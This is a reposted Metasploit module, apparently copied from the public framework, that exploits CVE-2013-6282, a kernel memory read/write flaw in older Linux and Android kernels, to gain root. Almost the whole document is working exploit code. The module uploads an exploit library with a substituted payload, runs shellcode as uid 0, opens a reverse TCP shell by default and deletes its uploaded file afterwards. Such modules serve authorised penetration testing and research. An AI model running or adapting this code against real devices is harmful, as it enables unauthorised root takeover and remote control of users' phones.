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Android get_user/put_user Exploit

Posted on 26 December 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Common

def initialize(info={})
super( update_info( info, {
'Name' => "Android get_user/put_user Exploit",
'Description' => %q{
This module exploits a missing check in the get_user and put_user API functions
in the linux kernel before 3.5.5. The missing checks on these functions
allow an unprivileged user to read and write kernel memory.
This exploit first reads the kernel memory to identify the commit_creds and
ptmx_fops address, then uses the write primitive to execute shellcode as uid 0.
The exploit was first discovered in the wild in the vroot rooting application.
},
'License' => MSF_LICENSE,
'Author' => [
'fi01', # libget_user_exploit / libput_user_exploit
'cubeundcube', # kallsyms_in_memory
'timwr', # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6282' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2434453' ],
[ 'URL', 'https://github.com/fi01/libget_user_exploit' ],
[ 'URL', 'http://forum.xda-developers.com/showthread.php?t=2565758' ],
],
'DisclosureDate' => "Sep 06 2013",
'SessionTypes' => [ 'meterpreter' ],
"Platform" => [ "android", "linux" ],
'Targets' => [[ 'Automatic', { }]],
'Payload' => { 'Space' => 2048, },
'DefaultOptions' =>
{
'WfsDelay' => 120,
'PAYLOAD' => 'linux/armle/mettle/reverse_tcp',
},
'DefaultTarget' => 0,
}
))
end

def exploit
local_file = File.join( Msf::Config.data_directory, "exploits", "CVE-2013-6282.so" )
exploit_data = File.read(local_file, {:mode => 'rb'})

space = payload_space
payload_encoded = payload.encoded

# Substitute the exploit shellcode with our own
exploit_data.gsub!("x90" * 4 + "x00" * (space - 4), payload_encoded + "x90" * (payload_encoded.length - space))

workingdir = session.fs.dir.getwd
remote_file = "#{workingdir}/#{Rex::Text::rand_text_alpha_lower(5)}"
write_file(remote_file, exploit_data)

print_status("Loading exploit library #{remote_file}")
session.core.load_library(
'LibraryFilePath' => local_file,
'TargetFilePath' => remote_file,
'UploadLibrary' => false,
'Extension' => false,
'SaveToDisk' => false
)
print_status("Loaded library #{remote_file}, deleting")
session.fs.file.rm(remote_file)
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
end

end

 

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